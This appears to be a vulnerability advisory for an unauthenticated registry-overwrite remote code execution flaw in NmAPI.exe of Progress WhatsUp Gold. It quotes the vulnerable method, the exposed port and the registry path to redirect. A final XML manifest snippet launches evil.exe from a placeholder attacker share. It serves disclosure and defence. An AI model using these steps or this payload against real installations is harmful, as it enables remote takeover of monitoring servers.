Progress WhatsUp Gold NmAPI.exe Registry Overwrite Unauthenticated RCE

A registry overwrite remote code execution vulnerability exists in NmAPI.exe in WhatsUp Gold versions prior to 24.0.1. An unauthenticated remote attacker could leverage this vulnerability to achieve remote code execution on the affected system.

NmAPI.exe is a Windows Communication Foundation (WCF) application. It implements an UpdateFailoverRegistryValues operation contract:

// NmAPI.CoreServices
public void UpdateFailoverRegistryValues(EntityRegistryValue[] values)
{
    try
    {
        foreach (EntityRegistryValue entityRegistryValue in values.Where((EntityRegistryValue c) => c.HiveName.StartsWith("SOFTWARE\\Ipswitch")).ToList<EntityRegistryValue>())
        {
            global::WhatsUp.RegistryHive.SetRegistryValue(Registry.LocalMachine, new RegistryValue
            {
                Value = entityRegistryValue.Value,
                HiveName = entityRegistryValue.HiveName,
                Name = entityRegistryValue.Name
            });
        }
    }
    catch (Exception)
    {
        throw;
    }
}

An unauthenticated remote attacker can invoke the UpdateFailoverRegistryValues operation via a netTcpBinding at net.tcp://<target-host>:9643.

Through the UpdateFailoverRegistryValues operation, the attacker can change an existing registry value or create a new one for any registry path under HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Ipswitch\.

Specifically, the attacker can change HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Ipswitch\Network Monitor\WhatsUp Gold\Setup\InstallDir to a UNC path pointing to a host controlled by the attacker (i.e., \\<attacker-ip>\share\WhatsUp)

When the Ipswitch Service Control Manager service (ServiceControlManager.exe) restarts (i.e., due to system restart after a Windows update), various manifest files (i.e., WhatsUpPlatform-PluginManifest.xml) are read from the attacker-controlled host. These files specify processes to be started by ServiceControlManager.exe. The attacker can add a <ServerProcess> element in WhatsUpPlatform-PluginManifest.xml to start an attacker-controlled executable:

[...]
       <ServerProcess Id="28" Assemblyname="\\<attacker-ip>\share\evil.exe" Arguments="" EventName="XXXShutdownEvent" Description="XXX" ShutdownOrder="2">
               <NormalStartup StartupType="Automatic" StartupOrder="150" StartupDelay="2"/>
               <FailoverStartup StartupType="Manual" StartupOrder="150" StartupDelay="2"/>
       </ServerProcess>
[...]